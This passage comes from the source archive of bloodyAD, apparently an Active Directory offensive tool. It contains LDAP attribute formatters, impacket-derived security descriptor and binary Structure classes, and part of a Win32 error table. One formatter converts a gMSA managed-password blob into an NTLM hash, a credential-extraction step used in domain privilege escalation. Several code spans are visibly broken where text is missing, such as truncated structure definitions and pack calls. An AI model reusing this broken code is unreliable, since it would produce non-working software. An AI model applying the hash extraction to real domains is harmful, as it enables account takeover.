SECURITY_DESCRIPTOR.from_bytes(sd_bytes).to_sddl() def formatFunctionalLevel(behavior_version): behavior_version = behavior_version.decode() return ( common.FUNCTIONAL_LEVEL[behavior_version] if behavior_version in common.FUNCTIONAL_LEVEL else behavior_version ) def formatSchemaVersion(objectVersion): objectVersion = objectVersion.decode() return ( common.SCHEMA_VERSION[objectVersion] if objectVersion in common.SCHEMA_VERSION else objectVersion ) def formatGMSApass(managedPassword): gmsa_blob = cryptography.MSDS_MANAGEDPASSWORD_BLOB(managedPassword) ntlm_hash = "aad3b435b51404eeaad3b435b51404ee:" + gmsa_blob.toNtHash() return { "NTLM": ntlm_hash, "B64ENCODED": base64.b64encode(gmsa_blob["CurrentPassword"]).decode(), } def formatDnsRecord(dns_record): return dns.Record(dns_record).toDict() def formatWellKnownObjects(wellKnown_object): dn_binary = common.DNBinary(wellKnown_object) if dn_binary.binary_value in common.WELLKNOWN_GUID: dn_binary.binary_value = common.WELLKNOWN_GUID[dn_binary.binary_value] return dn_binary def formatKeyCredentialLink(key_dnbinary): return cryptography.KEYCREDENTIALLINK_BLOB( common.DNBinary(key_dnbinary).value ).toDict() from msldap.protocol.typeconversion import ( LDAP_WELL_KNOWN_ATTRS, MSLDAP_BUILTIN_ATTRIBUTE_TYPES, single_guid, multi_bytes, MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC, int2timedelta, ) def formatFactory(format_func, origin_format): def genericFormat(val, encode=False, *args): if encode: return origin_format(val, encode, *args) if not isinstance(val, list): return format_func(val) return [format_func(e) for e in val] return genericFormat MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC["msDS-AllowedToActOnBehalfOfOtherIdentity"] = ( multi_bytes ) MSLDAP_BUILTIN_ATTRIBUTE_TYPES["nTSecurityDescriptor"] = formatFactory( formatSD, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["nTSecurityDescriptor"] ) MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-AllowedToActOnBehalfOfOtherIdentity"] = ( formatFactory(formatSD, multi_bytes) ) MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-GroupMSAMembership"] = formatFactory( formatSD, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-GroupMSAMembership"] ) MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-ManagedPassword"] = formatFactory( formatGMSApass, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-ManagedPassword"] ) MSLDAP_BUILTIN_ATTRIBUTE_TYPES["userAccountControl"] = formatFactory( formatAccountControl, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["userAccountControl"] ) LDAP_WELL_KNOWN_ATTRS["msDS-User-Account-Control-Computed"] = formatFactory( formatAccountControl, LDAP_WELL_KNOWN_ATTRS["msDS-User-Account-Control-Computed"] ) LDAP_WELL_KNOWN_ATTRS["trustDirection"] = formatFactory( formatTrustDirection, LDAP_WELL_KNOWN_ATTRS["trustDirection"] ) LDAP_WELL_KNOWN_ATTRS["trustAttributes"] = formatFactory( formatTrustAttributes, LDAP_WELL_KNOWN_ATTRS["trustAttributes"] ) LDAP_WELL_KNOWN_ATTRS["trustType"] = formatFactory( formatTrustType, LDAP_WELL_KNOWN_ATTRS["trustType"] ) MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-Behavior-Version"] = formatFactory( formatFunctionalLevel, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-Behavior-Version"] ) LDAP_WELL_KNOWN_ATTRS["objectVersion"] = formatFactory( formatSchemaVersion, LDAP_WELL_KNOWN_ATTRS["objectVersion"] ) LDAP_WELL_KNOWN_ATTRS["dnsRecord"] = formatFactory( formatDnsRecord, LDAP_WELL_KNOWN_ATTRS["dnsRecord"] ) LDAP_WELL_KNOWN_ATTRS["msDS-KeyCredentialLink"] = formatFactory( formatKeyCredentialLink, LDAP_WELL_KNOWN_ATTRS["msDS-KeyCredentialLink"] ) LDAP_WELL_KNOWN_ATTRS["attributeSecurityGUID"] = single_guid LDAP_WELL_KNOWN_ATTRS["wellKnownObjects"] = formatFactory( formatWellKnownObjects, LDAP_WELL_KNOWN_ATTRS["wellKnownObjects"] ) LDAP_WELL_KNOWN_ATTRS["msDS-MinimumPasswordAge"] = int2timedelta from winacl.dtyp.ace import ( SYSTEM_AUDIT_OBJECT_ACE, SDDL_ACE_TYPE_MAPS_INV, aceflags_to_sddl, accessmask_to_sddl, ACE_OBJECT_PRESENCE, ) def to_sddl(self, sd_object_type=None): # ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute) return "(%s;%s;%s;%s;%s;%s)" % ( SDDL_ACE_TYPE_MAPS_INV[self.AceType], aceflags_to_sddl(self.AceFlags), accessmask_to_sddl(self.Mask, self.sd_object_type), ( self.ObjectType.to_bytes() if self.AceFlags & ACE_OBJECT_PRESENCE.ACE_OBJECT_TYPE_PRESENT else "" ), ( self.InheritedObjectType.to_bytes() if self.Flags & ACE_OBJECT_PRESENCE.ACE_INHERITED_OBJECT_TYPE_PRESENT else "" ), self.Sid.to_sddl(), ) setattr(SYSTEM_AUDIT_OBJECT_ACE, "to_sddl", to_sddl) bloodyAD-2.1.7/bloodyAD/formatters/ldaptypes.py000066400000000000000000000375661473321043600215040ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2022 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Structures and types used in LDAP # Contains the Structures for the NT Security Descriptor (non-RPC format) and # all ACL related structures # # Author: # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # from bloodyAD.formatters.structure import Structure from struct import unpack, pack # Global constant if the library should recalculate ACE sizes in objects that are decoded/re-encoded. # This defaults to True, but this causes the ACLs to not match on a binary level # since Active Directory for some reason sometimes adds null bytes to the end of ACEs. # This is valid according to the spec (see 2.4.4), but since impacket encodes them more efficiently # this should be turned off if running unit tests. RECALC_ACE_SIZE = True # LDAP SID structure - based on SAMR_RPC_SID, except the SubAuthority is LE here class LDAP_SID_IDENTIFIER_AUTHORITY(Structure): structure = (("Value", "6s"),) class LDAP_SID(Structure): structure = ( ("Revision", " [big endian] usual printf like specifiers can be used (if started with %) [not recommended, there is no way to unpack this] %08x will output an 8 bytes hex %s will output a string %s\\x00 will output a NUL terminated string %d%d will output 2 decimal digits (against the very same specification of Structure) ... some additional format specifiers: : just copy the bytes from the field into the output string (input may be string, other structure, or anything responding to __str__()) (for unpacking, all what's left is returned) z same as :, but adds a NUL byte at the end (asciiz) (for unpacking the first NUL byte is used as terminator) [asciiz string] u same as z, but adds two NUL bytes at the end (after padding to an even size with NULs). (same for unpacking) [unicode string] w DCE-RPC/NDR string (it's a macro for [ ' 2: dataClassOrCode = field[2] try: self[field[0]] = self.unpack( field[1], data[:size], dataClassOrCode=dataClassOrCode, field=field[0], ) except Exception as e: e.args += ( "When unpacking field '%s | %s | %r[:%d]'" % (field[0], field[1], data, size), ) raise size = self.calcPackSize(field[1], self[field[0]], field[0]) if self.alignment and size % self.alignment: size += self.alignment - (size % self.alignment) data = data[size:] return self def __setitem__(self, key, value): self.fields[key] = value self.data = None # force recompute def __getitem__(self, key): return self.fields[key] def __delitem__(self, key): del self.fields[key] def __str__(self): return self.getData() def __len__(self): # XXX: improve return len(self.getData()) def pack(self, format, data, field=None): if self.debug: print(" pack( %s | %r | %s)" % (format, data, field)) if field: addressField = self.findAddressFieldFor(field) if (addressField is not None) and (data is None): return b"" # void specifier if format[:1] == "_": return b"" # quote specifier if format[:1] == "'" or format[:1] == '"': return b(format[1:]) # code specifier two = format.split("=") if len(two) >= 2: try: return self.pack(two[0], data) except: fields = {"self": self} fields.update(self.fields) return self.pack(two[0], eval(two[1], {}, fields)) # address specifier two = format.split("&") if len(two) == 2: try: return self.pack(two[0], data) except: if (two[1] in self.fields) and (self[two[1]] is not None): return self.pack( two[0], id(self[two[1]]) & ((1 << (calcsize(two[0]) * 8)) - 1) ) else: return self.pack(two[0], 0) # length specifier two = format.split("-") if len(two) == 2: try: return self.pack(two[0], data) except: return self.pack(two[0], self.calcPackFieldSize(two[1])) # array specifier two = format.split("*") if len(two) == 2: answer = bytes() for each in data: answer += self.pack(two[1], each) if two[0]: if two[0].isdigit(): if int(two[0]) != len(data): raise Exception( "Array field has a constant size, and it doesn't match the" " actual value" ) else: return self.pack(two[0], len(data)) + answer return answer # "printf" string specifier if format[:1] == "%": # format string like specifier return b(format % data) # asciiz specifier if format[:1] == "z": if isinstance(data, bytes): return data + b("\0") return bytes(b(data) + b("\0")) # unicode specifier if format[:1] == "u": return bytes(data + b("\0\0") + (len(data) & 1 and b("\0") or b"")) # DCE-RPC/NDR string specifier if format[:1] == "w": if len(data) == 0: data = b("\0\0") elif len(data) % 2: data = b(data) + b("\0") l = pack("= 2: return self.unpack(two[0], data) # length specifier two = format.split("-") if len(two) == 2: return self.unpack(two[0], data) # array specifier two = format.split("*") if len(two) == 2: answer = [] sofar = 0 if two[0].isdigit(): number = int(two[0]) elif two[0]: sofar += self.calcUnpackSize(two[0], data) number = self.unpack(two[0], data[:sofar]) else: number = -1 while number and sofar < len(data): nsofar = sofar + self.calcUnpackSize(two[1], data[sofar:]) answer.append(self.unpack(two[1], data[sofar:nsofar], dataClassOrCode)) number -= 1 sofar = nsofar return answer # "printf" string specifier if format[:1] == "%": # format string like specifier return format % data # asciiz specifier if format == "z": if data[-1:] != b("\x00"): raise Exception( "%s 'z' field is not NUL terminated: %r" % (field, data) ) return data[:-1].decode("latin-1") # unicode specifier if format == "u": if data[-2:] != b("\x00\x00"): raise Exception( "%s 'u' field is not NUL-NUL terminated: %r" % (field, data) ) return data[:-2] # remove trailing NUL # DCE-RPC/NDR string specifier if format == "w": l = unpack("= 2: return self.calcPackSize(two[0], data) # length specifier two = format.split("-") if len(two) == 2: return self.calcPackSize(two[0], data) # array specifier two = format.split("*") if len(two) == 2: answer = 0 if two[0].isdigit(): if int(two[0]) != len(data): raise Exception( "Array field has a constant size, and it doesn't match the" " actual value" ) elif two[0]: answer += self.calcPackSize(two[0], len(data)) for each in data: answer += self.calcPackSize(two[1], each) return answer # "printf" string specifier if format[:1] == "%": # format string like specifier return len(format % data) # asciiz specifier if format[:1] == "z": return len(data) + 1 # asciiz specifier if format[:1] == "u": l = len(data) return l + (l & 1 and 3 or 2) # DCE-RPC/NDR string specifier if format[:1] == "w": l = len(data) return 12 + l + l % 2 # literal specifier if format[:1] == ":": return len(data) # struct like specifier return calcsize(format) def calcUnpackSize(self, format, data, field=None): if self.debug: print(" calcUnpackSize( %s | %s | %r)" % (field, format, data)) # void specifier if format[:1] == "_": return 0 addressField = self.findAddressFieldFor(field) if addressField is not None: if not self[addressField]: return 0 try: lengthField = self.findLengthFieldFor(field) return int(self[lengthField]) except Exception: pass # XXX: Try to match to actual values, raise if no match # quote specifier if format[:1] == "'" or format[:1] == '"': return len(format) - 1 # address specifier two = format.split("&") if len(two) == 2: return self.calcUnpackSize(two[0], data) # code specifier two = format.split("=") if len(two) >= 2: return self.calcUnpackSize(two[0], data) # length specifier two = format.split("-") if len(two) == 2: return self.calcUnpackSize(two[0], data) # array specifier two = format.split("*") if len(two) == 2: answer = 0 if two[0]: if two[0].isdigit(): number = int(two[0]) else: answer += self.calcUnpackSize(two[0], data) number = self.unpack(two[0], data[:answer]) while number: number -= 1 answer += self.calcUnpackSize(two[1], data[answer:]) else: while answer < len(data): answer += self.calcUnpackSize(two[1], data[answer:]) return answer # "printf" string specifier if format[:1] == "%": raise Exception( "Can't guess the size of a printf like specifier for unpacking" ) # asciiz specifier if format[:1] == "z": return data.index(b("\x00")) + 1 # asciiz specifier if format[:1] == "u": l = data.index(b("\x00\x00")) return l + (l & 1 and 3 or 2) # DCE-RPC/NDR string specifier if format[:1] == "w": l = unpack("?@[\\]^_`{|}~ " ): return chr(x) else: return "." def hexdump(data, indent=""): if data is None: return if isinstance(data, int): data = str(data).encode("utf-8") x = bytearray(data) strLen = len(x) i = 0 while i < strLen: line = " %s%04x " % (indent, i) for j in range(16): if i + j < strLen: line += "%02X " % x[i + j] else: line += " " if j % 16 == 7: line += " " line += " " line += "".join(pretty_print(x) for x in x[i : i + 16]) print(line) i += 16 def parse_bitmask(dict, value): ret = "" for i in range(0, 31): flag = 1 << i if value & flag == 0: continue if flag in dict: ret += "%s | " % dict[flag] else: ret += "0x%.8X | " % flag if len(ret) == 0: return "0" else: return ret[:-3] bloodyAD-2.1.7/bloodyAD/formatters/winerror.py000077500000000000000000016657751473321043600213630ustar00rootroot00000000000000""" [MS-ADTS] 3.1.1.3.1.9 Error Message Strings [MS-ERREF] 2.2 Win32 Error Codes """ WINERROR = { # 0x00000000: {"code": "ERROR_SUCCESS", "message": "The operation completed successfully."}, 0x00000001: {"code": "ERROR_INVALID_FUNCTION", "message": "Incorrect function."}, 0x00000002: { "code": "ERROR_FILE_NOT_FOUND", "message": "The system cannot find the file specified.", }, 0x00000003: { "code": "ERROR_PATH_NOT_FOUND", "message": "The system cannot find the path specified.", }, 0x00000004: { "code": "ERROR_TOO_MANY_OPEN_FILES", "message": "The system cannot open the file.", }, 0x00000005: {"code": "ERROR_ACCESS_DENIED", "message": "Access is denied."}, 0x00000006: {"code": "ERROR_INVALID_HANDLE", "message": "The handle is invalid."}, 0x00000007: { "code": "ERROR_ARENA_TRASHED", "message": "The storage control blocks were destroyed.", }, 0x00000008: { "code": "ERROR_NOT_ENOUGH_MEMORY", "message": "Not enough storage is available to process this command.", }, 0x00000009: { "code": "ERROR_INVALID_BLOCK", "message": "The storage control block address is invalid.", }, 0x0000000A: { "code": "ERROR_BAD_ENVIRONMENT", "message": "The environment is incorrect.", }, 0x0000000B: { "code": "ERROR_BAD_FORMAT", "message": "An attempt was made to load a program with an incorrect format.", }, 0x0000000C: { "code": "ERROR_INVALID_ACCESS", "message": "The access code is invalid.", }, 0x0000000D: {"code": "ERROR_INVALID_DATA", "message": "The data is invalid."}, 0x0000000E: { "code": "ERROR_OUTOFMEMORY", "message": "Not enough storage is available to complete this operation.", }, 0x0000000F: { "code": "ERROR_INVALID_DRIVE", "message": "The system cannot find the drive specified.", }, 0x00000010: { "code": "ERROR_CURRENT_DIRECTORY", "message": "The directory cannot be removed.", }, 0x00000011: { "code": "ERROR_NOT_SAME_DEVICE", "message": "The system cannot move the file to a different disk drive.", }, 0x00000012: {"code": "ERROR_NO_MORE_FILES", "message": "There are no more files."}, 0x00000013: { "code": "ERROR_WRITE_PROTECT", "message": "The media is write-protected.", }, 0x00000014: { "code": "ERROR_BAD_UNIT", "message": "The system cannot find the device specified.", }, 0x00000015: {"code": "ERROR_NOT_READY", "message": "The device is not ready."}, 0x00000016: { "code": "ERROR_BAD_COMMAND", "message": "The device does not recognize the command.", }, 0x00000017: { "code": "ERROR_CRC", "message": "Data error (cyclic redundancy check).", }, 0x00000018: { "code": "ERROR_BAD_LENGTH", "message": "The program issued a command but the command length is incorrect.", }, 0x00000019: { "code": "ERROR_SEEK", "message": "The drive cannot locate a specific area or track on the disk.", }, 0x0000001A: { "code": "ERROR_NOT_DOS_DISK", "message": "The specified disk cannot be accessed.", }, 0x0000001B: { "code": "ERROR_SECTOR_NOT_FOUND", "message": "The drive cannot find the sector requested.", }, 0x0000001C: { "code": "ERROR_OUT_OF_PAPER", "message": "The printer is out of paper.", }, 0x0000001D: { "code": "ERROR_WRITE_FAULT", "message": "The system cannot write to the specified device.", }, 0x0000001E: { "code": "ERROR_READ_FAULT", "message": "The system cannot read from the specified device.", }, 0x0000001F: { "code": "ERROR_GEN_FAILURE", "message": "A device attached to the system is not functioning.", }, 0x00000020: { "code": "ERROR_SHARING_VIOLATION", "message": ( "The process cannot access the file because it is being used by another" " process." ), }, 0x00000021: { "code": "ERROR_LOCK_VIOLATION", "message": ( "The process cannot access the file because another process has locked a" " portion of the file." ), }, 0x00000022: { "code": "ERROR_WRONG_DISK", "message": ( "The wrong disk is in the drive. Insert %2 (Volume Serial Number: %3) into" " drive %1." ), }, 0x00000024: { "code": "ERROR_SHARING_BUFFER_EXCEEDED", "message": "Too many files opened for sharing.", }, 0x00000026: {"code": "ERROR_HANDLE_EOF", "message": "Reached the end of the file."}, 0x00000027: {"code": "ERROR_HANDLE_DISK_FULL", "message": "The disk is full."}, 0x00000032: { "code": "ERROR_NOT_SUPPORTED", "message": "The request is not supported.", }, 0x00000033: { "code": "ERROR_REM_NOT_LIST", "message": ( "Windows cannot find the network path. Verify that the network path is" " correct and the destination computer is not busy or turned off. If" " Windows still cannot find the network path, contact your network" " administrator." ), }, 0x00000034: { "code": "ERROR_DUP_NAME", "message": ( "You were not connected because a duplicate name exists on the network. Go" " to System in Control Panel to change the computer name, and then try" " again." ), }, 0x00000035: { "code": "ERROR_BAD_NETPATH", "message": "The network path was not found.", }, 0x00000036: {"code": "ERROR_NETWORK_BUSY", "message": "The network is busy."}, 0x00000037: { "code": "ERROR_DEV_NOT_EXIST", "message": "The specified network resource or device is no longer available.", }, 0x00000038: { "code": "ERROR_TOO_MANY_CMDS", "message": "The network BIOS command limit has been reached.", }, 0x00000039: { "code": "ERROR_ADAP_HDW_ERR", "message": "A network adapter hardware error occurred.", }, 0x0000003A: { "code": "ERROR_BAD_NET_RESP", "message": "The specified server cannot perform the requested operation.", }, 0x0000003B: { "code": "ERROR_UNEXP_NET_ERR", "message": "An unexpected network error occurred.", }, 0x0000003C: { "code": "ERROR_BAD_REM_ADAP", "message": "The remote adapter is not compatible.", }, 0x0000003D: {"code": "ERROR_PRINTQ_FULL", "message": "The print queue is full."}, 0x0000003E: { "code": "ERROR_NO_SPOOL_SPACE", "message": ( "Space to store the file waiting to be printed is not available on the" " server." ), }, 0x0000003F: { "code": "ERROR_PRINT_CANCELLED", "message": "Your file waiting to be printed was deleted.", }, 0x00000040: { "code": "ERROR_NETNAME_DELETED", "message": "The specified network name is no longer available.", }, 0x00000041: { "code": "ERROR_NETWORK_ACCESS_DENIED", "message": "Network access is denied.", }, 0x00000042: { "code": "ERROR_BAD_DEV_TYPE", "message": "The network resource type is not correct.", }, 0x00000043: { "code": "ERROR_BAD_NET_NAME", "message": "The network name cannot be found.", }, 0x00000044: { "code": "ERROR_TOO_MANY_NAMES", "message": ( "The name limit for the local computer network adapter card was exceeded." ), }, 0x00000045: { "code": "ERROR_TOO_MANY_SESS", "message": "The network BIOS session limit was exceeded.", }, 0x00000046: { "code": "ERROR_SHARING_PAUSED", "message": ( "The remote server has been paused or is in the process of being started." ), }, 0x00000047: { "code": "ERROR_REQ_NOT_ACCEP", "message": ( "No more connections can be made to this remote computer at this time" " because the computer has accepted the maximum number of connections." ), }, 0x00000048: { "code": "ERROR_REDIR_PAUSED", "message": "The specified printer or disk device has been paused.", }, 0x00000050: {"code": "ERROR_FILE_EXISTS", "message": "The file exists."}, 0x00000052: { "code": "ERROR_CANNOT_MAKE", "message": "The directory or file cannot be created.", }, 0x00000053: {"code": "ERROR_FAIL_I24", "message": "Fail on INT 24."}, 0x00000054: { "code": "ERROR_OUT_OF_STRUCTURES", "message": "Storage to process this request is not available.", }, 0x00000055: { "code": "ERROR_ALREADY_ASSIGNED", "message": "The local device name is already in use.", }, 0x00000056: { "code": "ERROR_INVALID_PASSWORD", "message": "The specified network password is not correct.", }, 0x00000057: { "code": "ERROR_INVALID_PARAMETER", "message": "The parameter is incorrect.", }, 0x00000058: { "code": "ERROR_NET_WRITE_FAULT", "message": "A write fault occurred on the network.", }, 0x00000059: { "code": "ERROR_NO_PROC_SLOTS", "message": "The system cannot start another process at this time.", }, 0x00000064: { "code": "ERROR_TOO_MANY_SEMAPHORES", "message": "Cannot create another system semaphore.", }, 0x00000065: { "code": "ERROR_EXCL_SEM_ALREADY_OWNED", "message": "The exclusive semaphore is owned by another process.", }, 0x00000066: { "code": "ERROR_SEM_IS_SET", "message": "The semaphore is set and cannot be closed.", }, 0x00000067: { "code": "ERROR_TOO_MANY_SEM_REQUESTS", "message": "The semaphore cannot be set again.", }, 0x00000068: { "code": "ERROR_INVALID_AT_INTERRUPT_TIME", "message": "Cannot request exclusive semaphores at interrupt time.", }, 0x00000069: { "code": "ERROR_SEM_OWNER_DIED", "message": "The previous ownership of this semaphore has ended.", }, 0x0000006A: { "code": "ERROR_SEM_USER_LIMIT", "message": "Insert the disk for drive %1.", }, 0x0000006B: { "code": "ERROR_DISK_CHANGE", "message": "The program stopped because an alternate disk was not inserted.", }, 0x0000006C: { "code": "ERROR_DRIVE_LOCKED", "message": "The disk is in use or locked by another process.", }, 0x0000006D: {"code": "ERROR_BROKEN_PIPE", "message": "The pipe has been ended."}, 0x0000006E: { "code": "ERROR_OPEN_FAILED", "message": "The system cannot open the device or file specified.", }, 0x0000006F: { "code": "ERROR_BUFFER_OVERFLOW", "message": "The file name is too long.", }, 0x00000070: { "code": "ERROR_DISK_FULL", "message": "There is not enough space on the disk.", }, 0x00000071: { "code": "ERROR_NO_MORE_SEARCH_HANDLES", "message": "No more internal file identifiers are available.", }, 0x00000072: { "code": "ERROR_INVALID_TARGET_HANDLE", "message": "The target internal file identifier is incorrect.", }, 0x00000075: { "code": "ERROR_INVALID_CATEGORY", "message": ( "The Input Output Control (IOCTL) call made by the application program is" " not correct." ), }, 0x00000076: { "code": "ERROR_INVALID_VERIFY_SWITCH", "message": "The verify-on-write switch parameter value is not correct.", }, 0x00000077: { "code": "ERROR_BAD_DRIVER_LEVEL", "message": "The system does not support the command requested.", }, 0x00000078: { "code": "ERROR_CALL_NOT_IMPLEMENTED", "message": "This function is not supported on this system.", }, 0x00000079: { "code": "ERROR_SEM_TIMEOUT", "message": "The semaphore time-out period has expired.", }, 0x0000007A: { "code": "ERROR_INSUFFICIENT_BUFFER", "message": "The data area passed to a system call is too small.", }, 0x0000007B: { "code": "ERROR_INVALID_NAME", "message": ( "The file name, directory name, or volume label syntax is incorrect." ), }, 0x0000007C: { "code": "ERROR_INVALID_LEVEL", "message": "The system call level is not correct.", }, 0x0000007D: { "code": "ERROR_NO_VOLUME_LABEL", "message": "The disk has no volume label.", }, 0x0000007E: { "code": "ERROR_MOD_NOT_FOUND", "message": "The specified module could not be found.", }, 0x0000007F: { "code": "ERROR_PROC_NOT_FOUND", "message": "The specified procedure could not be found.", }, 0x00000080: { "code": "ERROR_WAIT_NO_CHILDREN", "message": "There are no child processes to wait for.", }, 0x00000081: { "code": "ERROR_CHILD_NOT_COMPLETE", "message": "The %1 application cannot be run in Win32 mode.", }, 0x00000082: { "code": "ERROR_DIRECT_ACCESS_HANDLE", "message": ( "Attempt to use a file handle to an open disk partition for an operation" " other than raw disk I/O." ), }, 0x00000083: { "code": "ERROR_NEGATIVE_SEEK", "message": ( "An attempt was made to move the file pointer before the beginning of the" " file." ), }, 0x00000084: { "code": "ERROR_SEEK_ON_DEVICE", "message": "The file pointer cannot be set on the specified device or file.", }, 0x00000085: { "code": "ERROR_IS_JOIN_TARGET", "message": ( "A JOIN or SUBST command cannot be used for a drive that contains" " previously joined drives." ), }, 0x00000086: { "code": "ERROR_IS_JOINED", "message": ( "An attempt was made to use a JOIN or SUBST command on a drive that has" " already been joined." ), }, 0x00000087: { "code": "ERROR_IS_SUBSTED", "message": ( "An attempt was made to use a JOIN or SUBST command on a drive that has" " already been substituted." ), }, 0x00000088: { "code": "ERROR_NOT_JOINED", "message": "The system tried to delete the JOIN of a drive that is not joined.", }, 0x00000089: { "code": "ERROR_NOT_SUBSTED", "message": ( "The system tried to delete the substitution of a drive that is not" " substituted." ), }, 0x0000008A: { "code": "ERROR_JOIN_TO_JOIN", "message": "The system tried to join a drive to a directory on a joined drive.", }, 0x0000008B: { "code": "ERROR_SUBST_TO_SUBST", "message": ( "The system tried to substitute a drive to a directory on a substituted" " drive." ), }, 0x0000008C: { "code": "ERROR_JOIN_TO_SUBST", "message": ( "The system tried to join a drive to a directory on a substituted drive." ), }, 0x0000008D: { "code": "ERROR_SUBST_TO_JOIN", "message": ( "The system tried to SUBST a drive to a directory on a joined drive." ), }, 0x0000008E: { "code": "ERROR_BUSY_DRIVE", "message": "The system cannot perform a JOIN or SUBST at this time.", }, 0x0000008F: { "code": "ERROR_SAME_DRIVE", "message": ( "The system cannot join or substitute a drive to or for a directory on the" " same drive." ), }, 0x00000090: { "code": "ERROR_DIR_NOT_ROOT", "message": "The directory is not a subdirectory of the root directory.", }, 0x00000091: { "code": "ERROR_DIR_NOT_EMPTY", "message": "The directory is not empty.", }, 0x00000092: { "code": "ERROR_IS_SUBST_PATH", "message": "The path specified is being used in a substitute.", }, 0x00000093: { "code": "ERROR_IS_JOIN_PATH", "message": "Not enough resources are available to process this command.", }, 0x00000094: { "code": "ERROR_PATH_BUSY", "message": "The path specified cannot be used at this time.", }, 0x00000095: { "code": "ERROR_IS_SUBST_TARGET", "message": ( "An attempt was made to join or substitute a drive for which a directory on" " the drive is the target of a previous substitute." ), }, 0x00000096: { "code": "ERROR_SYSTEM_TRACE", "message": ( "System trace information was not specified in your CONFIG.SYS file, or" " tracing is disallowed." ), }, 0x00000097: { "code": "ERROR_INVALID_EVENT_COUNT", "message": ( "The number of specified semaphore events for DosMuxSemWait is not correct." ), }, 0x00000098: { "code": "ERROR_TOO_MANY_MUXWAITERS", "message": ( "DosMuxSemWait did not execute; too many semaphores are already set." ), }, 0x00000099: { "code": "ERROR_INVALID_LIST_FORMAT", "message": "The DosMuxSemWait list is not correct.", }, 0x0000009A: { "code": "ERROR_LABEL_TOO_LONG", "message": ( "The volume label you entered exceeds the label character limit of the" " destination file system." ), }, 0x0000009B: { "code": "ERROR_TOO_MANY_TCBS", "message": "Cannot create another thread.", }, 0x0000009C: { "code": "ERROR_SIGNAL_REFUSED", "message": "The recipient process has refused the signal.", }, 0x0000009D: { "code": "ERROR_DISCARDED", "message": "The segment is already discarded and cannot be locked.", }, 0x0000009E: { "code": "ERROR_NOT_LOCKED", "message": "The segment is already unlocked.", }, 0x0000009F: { "code": "ERROR_BAD_THREADID_ADDR", "message": "The address for the thread ID is not correct.", }, 0x000000A0: { "code": "ERROR_BAD_ARGUMENTS", "message": "One or more arguments are not correct.", }, 0x000000A1: { "code": "ERROR_BAD_PATHNAME", "message": "The specified path is invalid.", }, 0x000000A2: { "code": "ERROR_SIGNAL_PENDING", "message": "A signal is already pending.", }, 0x000000A4: { "code": "ERROR_MAX_THRDS_REACHED", "message": "No more threads can be created in the system.", }, 0x000000A7: { "code": "ERROR_LOCK_FAILED", "message": "Unable to lock a region of a file.", }, 0x000000AA: {"code": "ERROR_BUSY", "message": "The requested resource is in use."}, 0x000000AD: { "code": "ERROR_CANCEL_VIOLATION", "message": "A lock request was not outstanding for the supplied cancel region.", }, 0x000000AE: { "code": "ERROR_ATOMIC_LOCKS_NOT_SUPPORTED", "message": "The file system does not support atomic changes to the lock type.", }, 0x000000B4: { "code": "ERROR_INVALID_SEGMENT_NUMBER", "message": "The system detected a segment number that was not correct.", }, 0x000000B6: { "code": "ERROR_INVALID_ORDINAL", "message": "The operating system cannot run %1.", }, 0x000000B7: { "code": "ERROR_ALREADY_EXISTS", "message": "Cannot create a file when that file already exists.", }, 0x000000BA: { "code": "ERROR_INVALID_FLAG_NUMBER", "message": "The flag passed is not correct.", }, 0x000000BB: { "code": "ERROR_SEM_NOT_FOUND", "message": "The specified system semaphore name was not found.", }, 0x000000BC: { "code": "ERROR_INVALID_STARTING_CODESEG", "message": "The operating system cannot run %1.", }, 0x000000BD: { "code": "ERROR_INVALID_STACKSEG", "message": "The operating system cannot run %1.", }, 0x000000BE: { "code": "ERROR_INVALID_MODULETYPE", "message": "The operating system cannot run %1.", }, 0x000000BF: { "code": "ERROR_INVALID_EXE_SIGNATURE", "message": "Cannot run %1 in Win32 mode.", }, 0x000000C0: { "code": "ERROR_EXE_MARKED_INVALID", "message": "The operating system cannot run %1.", }, 0x000000C1: { "code": "ERROR_BAD_EXE_FORMAT", "message": "%1 is not a valid Win32 application.", }, 0x000000C2: { "code": "ERROR_ITERATED_DATA_EXCEEDS_64k", "message": "The operating system cannot run %1.", }, 0x000000C3: { "code": "ERROR_INVALID_MINALLOCSIZE", "message": "The operating system cannot run %1.", }, 0x000000C4: { "code": "ERROR_DYNLINK_FROM_INVALID_RING", "message": "The operating system cannot run this application program.", }, 0x000000C5: { "code": "ERROR_IOPL_NOT_ENABLED", "message": ( "The operating system is not presently configured to run this application." ), }, 0x000000C6: { "code": "ERROR_INVALID_SEGDPL", "message": "The operating system cannot run %1.", }, 0x000000C7: { "code": "ERROR_AUTODATASEG_EXCEEDS_64k", "message": "The operating system cannot run this application program.", }, 0x000000C8: { "code": "ERROR_RING2SEG_MUST_BE_MOVABLE", "message": "The code segment cannot be greater than or equal to 64 KB.", }, 0x000000C9: { "code": "ERROR_RELOC_CHAIN_XEEDS_SEGLIM", "message": "The operating system cannot run %1.", }, 0x000000CA: { "code": "ERROR_INFLOOP_IN_RELOC_CHAIN", "message": "The operating system cannot run %1.", }, 0x000000CB: { "code": "ERROR_ENVVAR_NOT_FOUND", "message": "The system could not find the environment option that was entered.", }, 0x000000CD: { "code": "ERROR_NO_SIGNAL_SENT", "message": "No process in the command subtree has a signal handler.", }, 0x000000CE: { "code": "ERROR_FILENAME_EXCED_RANGE", "message": "The file name or extension is too long.", }, 0x000000CF: { "code": "ERROR_RING2_STACK_IN_USE", "message": "The ring 2 stack is in use.", }, 0x000000D0: { "code": "ERROR_META_EXPANSION_TOO_LONG", "message": ( "The asterisk (*) or question mark (?) global file name characters are" " entered incorrectly, or too many global file name characters are" " specified." ), }, 0x000000D1: { "code": "ERROR_INVALID_SIGNAL_NUMBER", "message": "The signal being posted is not correct.", }, 0x000000D2: { "code": 